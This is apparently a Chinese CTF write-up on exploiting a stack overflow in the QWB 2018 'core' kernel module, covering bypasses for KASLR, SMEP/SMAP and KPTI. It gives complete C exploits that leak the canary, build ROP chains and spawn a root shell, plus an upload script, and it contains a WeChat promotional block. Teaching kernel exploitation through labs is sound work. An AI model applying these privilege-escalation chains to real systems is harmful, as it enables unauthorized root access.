Kernel Stack栈溢出攻击及保护绕过
前言
本文介绍Linux内核的栈溢出攻击,和内核一些保护的绕过手法,通过一道内核题及其变体从浅入深一步步走进kernel世界。
QWB_2018_core
题目分析
start.sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
开启了kaslr
保护。
如果自己编译的 qemu 可能会报错
network backend ‘user‘ is not compiled into this binary
,解决方法就是sudo apt-get install libslirp-dev
,然后重新编译./configure --enable-slirp
。
init
解压 core.cpio
(最简单的方式就是在ubuntu里,右击提取到此处),分析 init
文件:
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko # 加载内核模块core.ko
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
-
第 9 行中把
kallsyms
的内容保存到了/tmp/kallsyms
中,那么我们就能从/tmp/kallsyms
中读取commit_creds
,prepare_kernel_cred
的函数的地址了。 -
第 10 行把
kptr_restrict
设为 1,这样就不能通过/proc/kallsyms
查看函数地址了,但第 9 行已经把其中的信息保存到了一个可读的文件中,这句就无关紧要了。 -
第 11 行把
dmesg_restrict
设为 1,这样就不能通过dmesg
查看 kernel 的信息了。 -
第 18 行设置了定时关机,为了避免做题时产生干扰,直接把这句删掉然后重新打包。
里面还有一个 gen_cpio.sh 脚本,用于快速打包。
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
KASLR
:
Kernel Address Space Layout Randomization
(内核地址空间布局随机化),开启后,允许kernel image
加载到VMALLOC
区域的任何位置。在未开启KASLR保护机制时,内核代码段的基址为0xffffffff81000000
,direct mapping area
的基址为0xffff888000000000
。
FG-KASLR
:
Function Granular Kernel Address Space Layout Randomization
细粒度的kaslr
,函数级别上的KASLR
优化。该保护只是在代码段打乱顺序,在数据段偏移不变,例如commit_creds
函数的偏移改变但是init_cred
的偏移不变。
Dmesg Restrictions
:通过设置
/proc/sys/kernel/dmesg_restrict
为1, 可以将dmesg
输出的信息视为敏感信息(默认为0)
Kernel Address Display Restriction
:内核提供控制变量
/proc/sys/kernel/kptr_restrict
用于控制内核的一些输出打印。
kptr_restrict == 2
:内核将符号地址打印为全 0 , root 和普通用户都没有权限.
kptr_restrict == 1
: root 用户有权限读取,普通用户没有权限.
kptr_restrict == 0
: root 和普通用户都可以读取.
core.ko
检查一下保护。
❯ checksec core/core.ko
[*] '/home/pwn/kernel/pwn/give_to_player/core/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
使用 IDA 继续分析.ko文件。
init_module()
注册了 /proc/core
,core_fops
时其注册的file_operations
结构体实例,会面会做介绍。
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE);
return 0LL;
}
exit_core()
删除 /proc/core
。
__int64 exit_core()
{
__int64 result; // rax
if ( core_proc )
result = remove_proc_entry("core");
return result;
}
core_ioctl()
定义了三条命令,分别调用 core_read(), core_copy_func()
和设置全局变量 off
。
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD);
off = a3;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(a3);
break;
}
return 0LL;
}
core_read()
从 v4[off]
拷贝 64 个字节到用户空间,但要注意的是全局变量 off
是我们能够控制的,因此可以合理的控制 off
来 leak canary
和一些地址 。
void __fastcall core_read(__int64 a1)
{
__int64 v1; // rbx
char *v2; // rdi
signed __int64 i; // rcx
char v4[64]; // [rsp+0h] [rbp-50h]
/*
* canary保存在rsp+0x40的位置,
* 我们通过设置off为0x40,即可将其读取出来。
*/
unsigned __int64 v5; // [rsp+40h] [rbp-10h]
v1 = a1;
v5 = __readgsqword(0x28u);
printk("\x016core: called core_read\n");
printk("\x016%d %p\n");
v2 = v4;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v4, "Welcome to the QWB CTF challenge.\n");
if ( copy_to_user(v1, &v4[off], 64LL) )
__asm { swapgs }
}
core_copy_func()
从全局变量 name
中拷贝数据到局部变量中,长度是由我们指定的,当要注意的是 qmemcpy
用的是 unsigned __int16
,但传递的长度是 signed __int64
,因此如果控制传入的长度为 0xffffffffffff0000|(0x100)
等值,就可以栈溢出了。
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
v2[8] = __readgsqword(0x28u);
printk(&unk_215);
// 这里用的jg判断,为有符号判断,0xffffffffffff0000|(0x100) 会判定为负从而绕过。
if ( a1 > 63 )
{
printk(&unk_2A1);
return 0xFFFFFFFFLL;
}
else
{
result = 0LL;
// 栈溢出。
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return result;
}
core_write()
向全局变量 name
上写,这样通过 core_write()
和 core_copy_func()
就可以控制 ropchain
了 。
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rbx
v3 = a3;
printk("\x016core: called core_writen");
if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
return (unsigned int)v3;
printk("\x016core: error copying data from userspacen");
return 0xFFFFFFF2LL;
}
字符驱动设备
内核注册字符设备驱动设备时会用到
file_operations
结构体,file_operations
结构体中的成员函数是字符设备驱动程序设计的主体内容,结构体中的一些指针比如open()
、write()
、read()
、close()
等系统调用时最终会被内核调用,我们可以通过指定指针指向的内容修改其默认值为我们自定义的函数,这样我们在类似read(dev_fd, buf, 0x100)
时就会调用我们自定义的my_read
函数。它还有一个指针为
unlocked_ioctl
,我们在用户态时可以使用系统调用ioctl
去访问控制内核注册的设备(ioctl
系统调用号为0x10
,由rax
保存,需要注意的时,系统调用和用户传参的rdi,rsi,rdx,rcx,r8,r9
不同,系统调用第四个传参寄存器为r10,即rdi,rsi,rdx,r10,r8,r9
)。
【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
动态调试
为了动态调试的方便一些,我们需要做以下工作:
(1)通过qemu append
参数关闭 kaslr
,qemu
提供了-s
参数用于调试,默认端口为1234
。
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"
(2)修改init
脚本将权限调到 root
。
...
setsid /bin/cttyhack setuidgid 0 /bin/sh
...
(3)启动qemu
,查看模块基地址。
/ # lsmod
core 16384 0 - Live 0xffffffffc0000000 (O)
(4)通过 add-symbol-file core.ko textaddr
把 core.ko
符号加载进去。
#!/bin/sh
gdb -q \
-ex "file ./core/vmlinux" \
-ex "file ./core/core.ko" \
-ex "add-symbol-file ./core/core.ko 0xffffffffc0000000" \
-ex "target remote localhost:1234"
ret2user
顾名思义,即返回到用户空间的提权代码上进行提权,之后返回用户态即为 root 权限。
提权方式
这里只简单介绍两种朴素的方法,第一种是通过
commit_creds(prepare_kernel_cred(0))
去提权,不过这种方式已经过时了,不过这道题的内核版本支持这种方法提权,prepare_kernel_cred()会将拷贝一个新的cred凭证,参数为零默认拷贝init_cred,其具有root权限。commit_cred()负责应用到进程。第二种是 commit_cred(&init_cred),原因是init_cred是静态定义的,我们只要找到
init_cred
地址便可借助commit_cred
完成提权。我们通过vmlinux-to-elf bzImage vmlinux
解压并恢复内核部分符号,通过逆向 prepare_kernel_cred() 函数便可轻松定位其地址。_DWORD *__fastcall prepare_kernel_cred(__int64 a1) { _DWORD *v1; // rbx int *task_cred; // rbp v1 = (_DWORD *)kmem_cache_alloc(qword_FFFFFFFF82735900, 20971712LL); if ( !v1 ) return 0LL; if ( a1 ) { task_cred = (int *)get_task_cred(a1); } else { _InterlockedIncrement(dword_FFFFFFFF8223D1A0); task_cred = dword_FFFFFFFF8223D1A0; // init_cred } [......] }
状态保存
通常情况下,我们的 exploit
需要进入到内核当中完成提权,而我们最终仍然需要着陆回用户态以获得一个 root
权限的 shell,因此在我们的 exploit 进入内核态之前我们需要手动模拟用户态进入内核态的准备工作保存各寄存器的值到内核栈上,以便于后续着陆回用户态。通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中,以便于构造 rop 链:
gcc 编译时需要指定参数:
-masm=intel
。
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
返回用户态
由内核态返回用户态只需要:
-
swapgs
指令通过用一个MSR中的值交换GS寄存器的内容,用来获取指向内核数据结构的指针,然后才能执行系统调用之类的内核空间程序,其也用于恢复用户态 GS 寄存器。 -
sysretq
或者iretq
恢复到用户空间
那么我们只需要在内核中找到相应的 gadget
并执行swapgs;iretq
就可以成功着陆回用户态。
执行 iretq
时的栈布局。
|----------------------|
| RIP |<== low mem
|----------------------|
| CS |
|----------------------|
| EFLAGS |
|----------------------|
| RSP |
|----------------------|
| SS |<== high mem
|----------------------|
所以我们应当构造如下 rop 链以返回用户态并获得一个 shell:
↓ swapgs
iretq
user_shell_addr
user_cs
user_eflags //64bit user_rflags
user_sp
user_ss
利用思路
在未开启 SMAP/SMEP
保护(后面会讲解)的情况下,用户空间无法访问内核空间的数据,但是内核空间可以访问 / 执行用户空间的数据,所以可以使用ret2user
。题目给的vmlinux
用于提取gadget
可以,但使用IDA分析时太慢,可以用vmlinux-to-elf
解压bzImage
进行分析。
-
从
/tmp/kallsyms
读取符号地址,确认与nokaslr
偏移,从vmlinux
寻找gadget
。 -
保存用户状态。
-
通过设置 off 读取
canary
。 -
于内核态访问用户空间的
commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);
提权。 -
通过
swapgs; mov trap_frame, rsp; iretq
返回用户空间,并执行system("/bin/sh");
。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define KERNCALL __attribute__((regparm(3)))
/* /tmp/kallsyms 保存的符号地址,这里保存的是未开启kaslr的地址 */
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
void get_shell()
{
system("/bin/sh");
}
void get_root() {
commit_creds(init_cred);
// commit_creds(prepare_kernel_cred(0));
asm("swapgs;"
"mov rsp, tf_addr;"
"iretq;");
}
struct trap_frame {
size_t user_rip;
size_t user_cs;
size_t user_rflags;
size_t user_sp;
size_t user_ss;
} __attribute__((packed));
struct trap_frame tf;
size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
tf.user_rip = (size_t) get_shell;
tf.user_cs = user_cs;
tf.user_rflags = user_rflags;
tf.user_sp = user_sp - 0x1000;
tf.user_ss = user_ss;
puts("[*] status has been saved.");
}
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
/* 计算开启kaslr后的偏移,重定位相关函数和结构体的地址 */
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds = (void *) ((size_t) commit_creds + offset);
prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
init_cred = (void *) ((size_t) init_cred + offset);
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(0x40);
char buf[0x40];
core_read(buf);
return *(size_t *) buf;
}
int main() {
rebase();
save_status();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, '\x00', sizeof(buf));
*(size_t *) &buf[0x40] = canary;
*(void **) &buf[0x50] = get_root; // 覆盖返回地址
core_write(buf, sizeof(buf));
// jg 有符号判断,判其为负数,qmemcpy() 第三个参数取其后16位,导致溢出。
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
编译exp时需要注意,本机环境编译的exp可能无法与题目环境交互,需要使用musl-gcc或者相应版本的docker进行编译,musl-gcc有一些库不支持,但大部分情况下都是可以的。
打包脚本
本题提供了打包脚本,可以直接./gen_cpio.sh ../core_new.cpio
打包即可。如果没提供可以使用以下命令打包。
find . | cpio -o -H newc > ../rootfs.imgs
打包完成后,改回题目环境,运行脚本测试即可。发送至远程可以使用以下脚本:
from pwn import *
import base64
#context.log_level = "debug"
with open("./exp", "rb") as f:
exp = base64.b64encode(f.read())
p = remote("127.0.0.1", 11451)
#p = process('./run.sh')
try_count = 1
while True:
p.sendline()
p.recvuntil("/ $")
count = 0
for i in range(0, len(exp), 0x200):
p.sendline("echo -n \"" + exp[i:i + 0x200] + "\" >> /tmp/b64_exp")
count += 1
log.info("count: " + str(count))
for i in range(count):
p.recvuntil("/ $")
p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
p.sendline("chmod +x /tmp/exploit")
p.sendline("/tmp/exploit ")
break
p.interactive()
调试
可以看到add rsp, 0x48;pop rbx
后,ret
指令正好执行我们用户空间的提权代码。
kernel rop without KPIT
开启 smep
和 smap
保护后,内核空间无法执行用户空间的代码,并且无法访问用户空间的数据。因此不能直接 ret2user
。利用 ROP
执行 commit_creds(prepare_kernel_cred(0))/commit_creds(init_cred)
, 然后 iret
返回用户空间可以绕过上述保护。
添加 smep
和 smap
保护。
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu qemu64,+smep,+smap
smep
:
Supervisor Mode Execution Protection
(管理模式执行保护),当处理器处于ring 0
模式,执行用户空间的代码会触发页错误。(在arm
中该保护称为PXN
)
smap
:
Superivisor Mode Access Protection
(管理模式访问保护),类似于smep
,当处理器处于ring 0
模式,访问用户空间的数据会触发页错误。
利用思路
-
从
/tmp/kallsyms
读取符号地址,确认与nokaslr
偏移,从vmlinux寻找gadget
。 -
保存用户状态。
-
通过设置
off
读取canary
。 -
于内核空间
rop
调用commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);
提权。 -
通过
swapgs; popfq; ret;
,iretq
返回用户空间,并执行system("/bin/sh");
。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
// from vmlinux
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
/*
* (1)如果使用 commit_creds(prepare_kernel_cred(NULL));
* 由于找不到 mov rdi, rax; ret; 这条 gadget ,
* 因此需要用 mov rdi, rax; call rdx; 代替,其中 rdx 指向 pop rcx; ret;
* 可以清除 call 指令压入栈中的 rip ,因此相当于 ret 。
* (2)如果使用 commit_creds(init_cred);
* 则只需要 pop rdi; ret 即可。
*/
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
void get_shell() {
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
pop_rdx_ret += offset;
pop_rcx_ret += offset;
mov_rdi_rax_call_rdx += offset;
swapgs_popfq_ret += offset;
iretq += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
int main() {
save_status();
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, '\x00', sizeof(buf));
*(size_t *) &buf[0x40] = canary;
size_t *rop = (size_t *) &buf[0x50], it = 0;
rop[it++] = pop_rdi_ret;
rop[it++] = 0;
rop[it++] = prepare_kernel_cred;
rop[it++] = pop_rdx_ret; // rdx ==> pop_rcx_ret_addr
rop[it++] = pop_rcx_ret;
// rax==prepare_kernel_cred(0), cal rdx ==> push commit_creds_addr, then pop_rcx_ret
rop[it++] = mov_rdi_rax_call_rdx;
rop[it++] = commit_creds;
rop[it++] = swapgs_popfq_ret;
rop[it++] = 0;
rop[it++] = iretq;
rop[it++] = (size_t) get_shell;
rop[it++] = user_cs;
rop[it++] = user_rflags;
rop[it++] = user_sp;
rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
kernel rop with KPIT
将 CPU 类型修改为 kvm64 后开启了 KPTI 保护。
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu kvm64,+smep,+smap
KPTI
:
kernel page-table isolation
,内核页表隔离,进程页表隔离。旨在更好地隔离用户空间与内核空间的内存来提高安全性。KPTI
通过完全分离用户空间与内核空间页表来解决页表泄露。一旦开启了KPTI
,由于内核态和用户态的页表不同,所以如果使用ret2user
或内核执行ROP
返回用户态时,由于内核态无法确定用户态的页表,就会报出一个段错误。可以利用内核现有的gadget将cr3
与0x1000
异或(第13位置0)来完成从用户态PGD转换成内核态PGD。
利用思路
比较简单的方法是借助 swapgs_restore_regs_and_return_to_usermode
返回用户态。该函数是内核在 arch/x86/entry/entry_64.S
中提供的一个用于完成内核态到用户态切换的函数。当然我们也可以利用内核的gadget
将cr3
的第13位置0(与0x1000异或)来完成从用户态PGD转换成内核态PGD。
.text:FFFFFFFF81A008DA ; __int64 swapgs_restore_regs_and_return_to_usermode(void)
.text:FFFFFFFF81A008DA public swapgs_restore_regs_and_return_to_usermode
.text:FFFFFFFF81A008DA swapgs_restore_regs_and_return_to_usermode proc near
.text:FFFFFFFF81A008DA ; CODE XREF: ;entry_SYSCALL_64_after_hwframe+4D↑j
.text:FFFFFFFF81A008DA ; entry_SYSCALL_64_after_hwframe+5E↑j ...
.text:FFFFFFFF81A008DA pop r15
.text:FFFFFFFF81A008DC pop r14
.text:FFFFFFFF81A008DE pop r13
.text:FFFFFFFF81A008E0 pop r12
.text:FFFFFFFF81A008E2 pop rbp
.text:FFFFFFFF81A008E3 pop rbx
.text:FFFFFFFF81A008E4 pop r11
.text:FFFFFFFF81A008E6 pop r10
.text:FFFFFFFF81A008E8 pop r9
.text:FFFFFFFF81A008EA pop r8
.text:FFFFFFFF81A008EC pop rax
.text:FFFFFFFF81A008ED pop rcx
.text:FFFFFFFF81A008EE pop rdx
.text:FFFFFFFF81A008EF pop rsi
/*
* 我们再利用时直接跳到这里即可,不过 rop 接下来还要有 16 字节的填充来表示 orig_rax 和 rdi 的位置。
*/
.text:FFFFFFFF81A008F0 mov rdi, rsp ; jump this
.text:FFFFFFFF81A008F3 mov rsp, gs:qword_5004
.text:FFFFFFFF81A008FC push qword ptr [rdi+30h]
.text:FFFFFFFF81A008FF push qword ptr [rdi+28h]
.text:FFFFFFFF81A00902 push qword ptr [rdi+20h]
.text:FFFFFFFF81A00905 push qword ptr [rdi+18h]
.text:FFFFFFFF81A00908 push qword ptr [rdi+10h]
.text:FFFFFFFF81A0090B push qword ptr [rdi]
.text:FFFFFFFF81A0090D push rax
.text:FFFFFFFF81A0090E jmp short loc_FFFFFFFF81A00953
[......]
;loc_FFFFFFFF81A00953
.text:FFFFFFFF81A00953 loc_FFFFFFFF81A00953: ; CODE XREF: ;swapgs_restore_regs_and_return_to_usermode+34↑j
.text:FFFFFFFF81A00953 pop rax
.text:FFFFFFFF81A00954 pop rdi
.text:FFFFFFFF81A00955 swapgs
.text:FFFFFFFF81A00958 jmp native_iret
.text:FFFFFFFF81A00958 swapgs_restore_regs_and_return_to_usermode endp
[......]
;native_iret
.text:FFFFFFFF81A00980 test [rsp+arg_18], 4
.text:FFFFFFFF81A00985 jnz short native_irq_return_ldt
.text:FFFFFFFF81A00985 native_iret endp
[......]
;native_irq_return_ldt
.text:FFFFFFFF81A00989 push rdi
.text:FFFFFFFF81A0098A swapgs
.text:FFFFFFFF81A0098D jmp short loc_FFFFFFFF81A009A1
[......]
;loc_FFFFFFFF81A009A1
.text:FFFFFFFF81A009A1 mov rdi, gs:qword_F000
.text:FFFFFFFF81A009AA mov [rdi], rax
.text:FFFFFFFF81A009AD mov rax, [rsp+8]
.text:FFFFFFFF81A009B2 mov [rdi+8], rax
.text:FFFFFFFF81A009B6 mov rax, [rsp+8+arg_0]
.text:FFFFFFFF81A009BB mov [rdi+10h], rax
.text:FFFFFFFF81A009BF mov rax, [rsp+8+arg_8]
.text:FFFFFFFF81A009C4 mov [rdi+18h], rax
.text:FFFFFFFF81A009C8 mov rax, [rsp+8+arg_18]
.text:FFFFFFFF81A009CD mov [rdi+28h], rax
.text:FFFFFFFF81A009D1 mov rax, [rsp+8+arg_10]
.text:FFFFFFFF81A009D6 mov [rdi+20h], rax
.text:FFFFFFFF81A009DA and eax, 0FFFF0000h
.text:FFFFFFFF81A009DF or rax, gs:qword_F008
.text:FFFFFFFF81A009E8 push rax
.text:FFFFFFFF81A009E9 jmp short loc_FFFFFFFF81A00A2E
[......]
;loc_FFFFFFFF81A00A2E
.text:FFFFFFFF81A00A2E pop rax
.text:FFFFFFFF81A00A2F swapgs
.text:FFFFFFFF81A00A32 pop rdi
.text:FFFFFFFF81A00A33 mov rsp, rax
.text:FFFFFFFF81A00A36 pop rax
.text:FFFFFFFF81A00A37 jmp native_irq_return_iret
[......]
;native_irq_return_iret
.text:FFFFFFFF81A00987 iretq
.text:FFFFFFFF81A00987 native_irq_return_iret endp
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
void get_shell() {
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
pop_rdx_ret += offset;
pop_rcx_ret += offset;
mov_rdi_rax_call_rdx += offset;
swapgs_popfq_ret += offset;
iretq += offset;
swapgs_restore_regs_and_return_to_usermode += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
int main() {
save_status();
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, '\x00', sizeof(buf));
// 0x40~0x48->canary; 0x48~0x50->rbp; 0x50~0x58->fake_retaddr
*(size_t *) &buf[0x40] = canary;
size_t *rop = (size_t *) &buf[0x50], it = 0;
rop[it++] = pop_rdi_ret;
rop[it++] = 0;
rop[it++] = prepare_kernel_cred;
rop[it++] = pop_rdx_ret;
rop[it++] = pop_rcx_ret;
rop[it++] = mov_rdi_rax_call_rdx;
rop[it++] = commit_creds;
rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
rop[it++] = 0;
rop[it++] = 0;
rop[it++] = (size_t) get_shell;
rop[it++] = user_cs;
rop[it++] = user_rflags;
rop[it++] = user_sp;
rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
利用 pt_regs 构造 rop
qemu启动脚本
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu kvm64,+smep,+smap
查看entry_SYSCALL_64
这一用汇编写的函数内部,注意到当程序进入到内核态时,该函数会将所有的寄存器压入内核栈上,形成一个 pt_regs
结构体,该结构体实质上位于内核栈底,定义如下:
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
